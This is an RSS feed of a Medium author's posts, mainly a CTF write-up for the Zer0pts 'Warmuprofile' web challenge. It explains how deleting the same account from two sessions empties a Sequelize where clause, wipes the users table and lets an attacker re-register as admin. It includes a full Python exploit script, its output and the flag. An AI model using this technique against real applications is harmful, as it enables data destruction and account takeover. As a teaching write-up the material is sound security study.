<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dorjsambuu on Medium]]></title>
        <description><![CDATA[Stories by Dorjsambuu on Medium]]></description>
        <link>https://medium.com/@dorjsambuukhishigdavaadorjoo?source=rss-5e1817ec99c2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*5DQIeSWnpfYoRbfn.</url>
            <title>Stories by Dorjsambuu on Medium</title>
            <link>https://medium.com/@dorjsambuukhishigdavaadorjoo?source=rss-5e1817ec99c2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 02:38:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dorjsambuukhishigdavaadorjoo/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CTF — Redis SSRF writeup]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-link"><a href="https://medium.com/@dorjsambuukhishigdavaadorjoo/ctf-redis-ssrf-writeup-32124ae82736?source=rss-5e1817ec99c2------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://medium.com/@dorjsambuukhishigdavaadorjoo/ctf-redis-ssrf-writeup-32124ae82736?source=rss-5e1817ec99c2------2</link>
            <guid isPermaLink="false">https://medium.com/p/32124ae82736</guid>
            <dc:creator><![CDATA[Dorjsambuu]]></dc:creator>
            <pubDate>Fri, 20 Oct 2023 07:11:33 GMT</pubDate>
            <atom:updated>2023-10-20T07:11:33.624Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Zer0pts CTF — Warmuprofile]]></title>
            <link>https://medium.com/cybersecurity-mongolia/zer0pts-ctf-warmuprofile-1616fef1f226?source=rss-5e1817ec99c2------2</link>
            <guid isPermaLink="false">https://medium.com/p/1616fef1f226</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Dorjsambuu]]></dc:creator>
            <pubDate>Tue, 18 Jul 2023 07:42:09 GMT</pubDate>
            <atom:updated>2023-07-18T07:42:09.372Z</atom:updated>
            <content:encoded><![CDATA[<h3>Zer0pts CTF — Warmuprofile</h3><p>Note: Click “Spawn container” to make a challenge container only for you. When writing exploits, be careful that the container asks for BASIC auth credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*SYtKGZOMD_4lw4cDtVQgpg.png" /></figure><p><strong>Home page: </strong>In here, we can register or login an account. Let’s register a new account!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ffz6RINoRv-e-4fST1zZww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*q3-Xwi7mNFbdyJJ7Ge0JXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OHgEwPZZpzchdbGSF_G3kA.png" /></figure><p>After logged in, we can check, delete our own profile, and get the flag but for admin only. Now, we can review the source code!</p><p><strong>In </strong><strong>index.js, the SQLite database is created</strong></p><pre>// set up DB<br>const User = sequelize.define(&#39;User&#39;, {<br>    username: {<br>        type: DataTypes.STRING,<br>        allowNull: false,<br>        unique: true<br>    },<br>    password: {<br>        type: DataTypes.STRING,<br>        allowNull: false<br>    },<br>    profile: {<br>        type: DataTypes.STRING<br>    }<br>}, {});<br>await User.sync({ force: true });<br>await User.create({<br>    username: &#39;admin&#39;,<br>    password: crypto.randomUUID(),<br>    profile: &#39;Hi, I am admin.&#39;<br>});</pre><p>After the table User with column username, password, profile is created, <strong>it’ll insert a new user called </strong><strong>admin. Also, there’s a POST route called </strong><strong>/register:</strong></p><pre>app.post(&#39;/register&#39;, async (req, res) =&gt; {<br>    // make sure given username and password are valid<br>    const { username, password, profile } = req.body;<br>    if (!username || !password || !profile) {<br>        flash(req, &#39;username, password, or profile not provided&#39;);<br>        return res.redirect(&#39;/register&#39;);<br>    }<br>    if (typeof username !== &#39;string&#39; || typeof password !== &#39;string&#39; || typeof profile !== &#39;string&#39;) {<br>        flash(req, &#39;invalid username, password, or profile&#39;);<br>        return res.redirect(&#39;/register&#39;);<br>    }<br><br>    // make sure that the requested username does not exist<br>    const user = await User.findOne({<br>        where: { username }<br>    });<br>    if (user != null) {<br>        flash(req, &#39;user exists&#39;);<br>        return res.redirect(&#39;/register&#39;);<br>    }<br><br>    // okay, create a user<br>    await User.create({<br>        username, password, profile<br>    });<br><br>    req.session.loggedIn = true;<br>    req.session.username = username;<br><br>    return res.redirect(&#39;/&#39;);<br>});</pre><p>In here, it first checks the username exists or not. So, we can’t just overwrite the admin user via registering a new account.</p><p><strong>In POST route </strong><strong>/user/:username/delete, we can delete our own profile:</strong></p><pre>app.post(&#39;/user/:username/delete&#39;, needAuth, async (req, res) =&gt; {<br>    const { username } = req.params;<br>    const { username: loggedInUsername } = req.session;<br>    if (loggedInUsername !== &#39;admin&#39; &amp;&amp; loggedInUsername !== username) {<br>        flash(req, &#39;general user can only delete itself&#39;);<br>        return res.redirect(&#39;/&#39;);<br>    }<br><br>    // find user to be deleted<br>    const user = await User.findOne({<br>        where: { username }<br>    });<br><br>    await User.destroy({<br>        where: { ...user?.dataValues }<br>    });<br><br>    // user is deleted, so session should be logged out<br>    req.session.destroy();<br>    return res.redirect(&#39;/&#39;);<br>});</pre><p>It’ll first check the logged in username is admin or the same username as the POST parameter’s value. Then, it’ll find the username data.</p><p>Finally, delete the user data and destroy the session.</p><h3>Exploitation</h3><p>I wonder <strong>what if we logged in to the same account with 2 different session, and delete the profile?</strong> Will it delete all users in the second deletion as the user is empty?</p><p>Now, there’re 2 session logged in to the same account, even if we delete the account in the first session, the second session is still valid, thus the delete profile route is vulnerable to business logic vulnerability, where it doesn’t check the current session’s user is deleted or not.</p><blockquote>Session 1 delete <strong>foo </strong>user:</blockquote><ol><li>POST to /user/foo/delete</li><li>username = <strong>foo</strong></li><li>loggedInUsername = <strong>foo</strong></li><li>user = username: &#39;<strong>foo</strong>&#39;, password: &#39;<strong>bar</strong>&#39;, profile: &#39;<strong>foobar</strong>&#39;</li><li>Delete record’s data via user</li></ol><blockquote>Session <strong>2</strong> delete foo user:</blockquote><ol><li>POST to /user/foo/delete</li><li>username = <strong>foo</strong></li><li>loggedInUsername = <strong>foo</strong></li><li><strong>user = </strong><strong>null</strong></li><li><strong>Delete table </strong><strong>User due to empty </strong><strong>where clause: </strong><strong>User.destory({ where: {} })</strong></li></ol><p><strong>Let’s write a Python script!</strong></p><pre>#!/usr/bin/env python3<br>import requests<br>from base64 import b64encode<br>from bs4 import BeautifulSoup<br><br>class Exploit:<br>    def __init__(self, baseUrl, isLocal, basicAuthUsername, basicAuthPassword):<br>        self.baseUrl = baseUrl<br>        self.isLocal = isLocal<br>        self.basicAuthUsername = basicAuthUsername<br>        self.basicAuthPassword = basicAuthPassword<br><br>    def basicAuth(self):<br>        token = b64encode(f&#39;{self.basicAuthUsername}:{self.basicAuthPassword}&#39;.encode(&#39;utf-8&#39;)).decode(&#39;ascii&#39;)<br>        return f&#39;Basic {token}&#39;<br><br>    def sendRequest(self, session, method, endpoint, data=None):<br>        isPostMethod = True if method.lower() == &#39;post&#39; else False<br>        isGetMethod = True if method.lower() == &#39;get&#39; else False<br>        headers = {&#39;Authorization&#39; : self.basicAuth()} if basicAuthUsername is not None and basicAuthPassword is not None else None<br><br>        if isPostMethod:<br>            if self.isLocal:<br>                response = session.post(f&#39;{self.baseUrl}{endpoint}&#39;, data=data)<br>                return response.text<br><br>            response = session.post(f&#39;{self.baseUrl}{endpoint}&#39;, data=data, headers=headers)<br>            return response.text<br><br>        if isGetMethod:<br>            if self.isLocal:<br>                response = session.get(f&#39;{self.baseUrl}{endpoint}&#39;)<br>                return response.text<br><br>            response = session.get(f&#39;{self.baseUrl}{endpoint}&#39;, headers=headers)<br>            return response.text<br><br>if __name__ == &#39;__main__&#39;:<br>    isLocal = True<br>    basicAuthUsername = None<br>    basicAuthPassword = None<br>    baseUrl = &#39;http://localhost:8600&#39;<br>    exploit = Exploit(baseUrl, isLocal, basicAuthUsername, basicAuthPassword)<br><br>    session1 = requests.Session()<br>    session2 = requests.Session()<br>    # Register an account<br>    username = &#39;foo&#39;<br>    password = &#39;bar&#39;<br>    registerData = {<br>        &#39;username&#39;: username,<br>        &#39;password&#39;: password,<br>        &#39;profile&#39;: &#39;foobar&#39;<br>    }<br>    print(f&#39;[*] Registering new account &quot;{username}&quot; in session 1&#39;)<br>    exploit.sendRequest(session1, &#39;POST&#39;, &#39;/register&#39;, registerData)<br>    <br>    # Login to the account with 2 different session<br>    loginData = {<br>        &#39;username&#39;: username,<br>        &#39;password&#39;: password<br>    }<br>    print(f&#39;[*] Logging in to new account &quot;{username}&quot; in session 1&#39;)<br>    exploit.sendRequest(session1, &#39;POST&#39;, &#39;/login&#39;, loginData)<br>    print(f&#39;[*] Logging in to new account &quot;{username}&quot; in session 2&#39;)<br>    exploit.sendRequest(session2, &#39;POST&#39;, &#39;/login&#39;, loginData)<br><br>    # Delete the first and second session&#39;s user<br>    deleteUserEndpoint = f&#39;/user/{username}/delete&#39;<br>    print(f&#39;[*] Deleting new account &quot;{username}&quot; in session 1&#39;)<br>    exploit.sendRequest(session1, &#39;POST&#39;, deleteUserEndpoint)<br>    print(f&#39;[*] Deleting new account &quot;{username}&quot; in session 2&#39;)<br>    exploit.sendRequest(session2, &#39;POST&#39;, deleteUserEndpoint)<br><br>    # Register our new &quot;admin&quot; user as the `Users` table is deleted<br>    overwriteAdminUserData = {<br>        &#39;username&#39;: &#39;admin&#39;,<br>        &#39;password&#39;: &#39;admin&#39;,<br>        &#39;profile&#39;: &#39;never_gonna_give_you_up&#39;<br>    }<br>    print(f&#39;[*] Overwriting old admin user in session 1&#39;)<br>    overwriteAdminUserResponse = exploit.sendRequest(session1, &#39;POST&#39;, &#39;/register&#39;, overwriteAdminUserData)<br>    if &#39;user exists&#39; in overwriteAdminUserResponse:<br>        print(f&#39;[-] Failed to overwrite the admin user...&#39;)<br>        exit()<br><br>    # Get the flag as the new admin user<br>    print(f&#39;[*] Getting the flag in session 1&#39;)<br>    flagResponse = exploit.sendRequest(session1, &#39;GET&#39;, &#39;/flag&#39;)<br>    if &#39;The flag is:&#39; not in flagResponse:<br>        print(f&#39;[-] Failed to get the flag...&#39;)<br>        exit()<br><br>    soup = BeautifulSoup(flagResponse, &#39;html.parser&#39;)<br>    flag = soup.code.get_text()<br>    print(f&#39;[+] Flag: {flag}&#39;)</pre><pre>python3 solve.py<br>[*] Registering new account &quot;foo&quot; in session 1<br>[*] Logging in to new account &quot;foo&quot; in session 1<br>[*] Logging in to new account &quot;foo&quot; in session 2<br>[*] Deleting new account &quot;foo&quot; in session 1<br>[*] Deleting new account &quot;foo&quot; in session 2<br>[*] Overwriting old admin user in session 1<br>[*] Getting the flag in session 1<br>[+] Flag: zer0pts{fire_ice_storm_di_acute_brain_damned_jugem_bayoen_bayoen_bayoen_10cefab0}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1616fef1f226" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cybersecurity-mongolia/zer0pts-ctf-warmuprofile-1616fef1f226">Zer0pts CTF — Warmuprofile</a> was originally published in <a href="https://medium.com/cybersecurity-mongolia">Information Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Life isn’t about finding yourself. Life is about creating yourself.]]></title>
            <link>https://medium.com/@dorjsambuukhishigdavaadorjoo/life-isnt-about-finding-yourself-life-is-about-creating-yourself-4fc6659041a8?source=rss-5e1817ec99c2------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fc6659041a8</guid>
            <dc:creator><![CDATA[Dorjsambuu]]></dc:creator>
            <pubDate>Mon, 13 Jun 2022 12:47:06 GMT</pubDate>
            <atom:updated>2022-06-13T12:56:25.897Z</atom:updated>
            <content:encoded><![CDATA[<p>by <a href="https://www.amazon.com/s/ref=dp_byline_sr_book_1?ie=UTF8&amp;field-author=George+Bernard+Shaw&amp;text=George+Bernard+Shaw&amp;sort=relevancerank&amp;search-alias=books">George Bernard Shaw</a> “An Unsocial Socialist”</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fc6659041a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[#Ая дуусахаас өмнө бүжиглэ
#Амьдрал дуусахаас өмнө Дурла_Хайрла_Аял…]]></title>
            <link>https://medium.com/@dorjsambuukhishigdavaadorjoo/%D0%B0%D1%8F-%D0%B4%D1%83%D1%83%D1%81%D0%B0%D1%85%D0%B0%D0%B0%D1%81-%D3%A9%D0%BC%D0%BD%D3%A9-%D0%B1%D2%AF%D0%B6%D0%B8%D0%B3%D0%BB%D1%8D-%D0%B0%D0%BC%D1%8C%D0%B4%D1%80%D0%B0%D0%BB-%D0%B4%D1%83%D1%83%D1%81%D0%B0%D1%85%D0%B0%D0%B0%D1%81-%D3%A9%D0%BC%D0%BD%D3%A9-%D0%B4%D1%83%D1%80%D0%BB%D0%B0-%D1%85%D0%B0%D0%B8%CC%86%D1%80%D0%BB%D0%B0-%D0%B0%D1%8F%D0%BB-d25ae924e03e?source=rss-5e1817ec99c2------2</link>
            <guid isPermaLink="false">https://medium.com/p/d25ae924e03e</guid>
            <dc:creator><![CDATA[Dorjsambuu]]></dc:creator>
            <pubDate>Sun, 12 Jul 2020 15:40:43 GMT</pubDate>
            <atom:updated>2020-07-12T15:40:43.865Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://www.facebook.com/hashtag/%D0%B0%D1%8F?__eep__=6&amp;source=feed_text&amp;epa=HASHTAG">#Ая</a> дуусахаас өмнө бүжиглэ<br><a href="https://www.facebook.com/hashtag/%D0%B0%D0%BC%D1%8C%D0%B4%D1%80%D0%B0%D0%BB?__eep__=6&amp;source=feed_text&amp;epa=HASHTAG">#Амьдрал</a> дуусахаас өмнө Дурла_Хайрла_Аял…</p><p>Гэнээ</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d25ae924e03e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>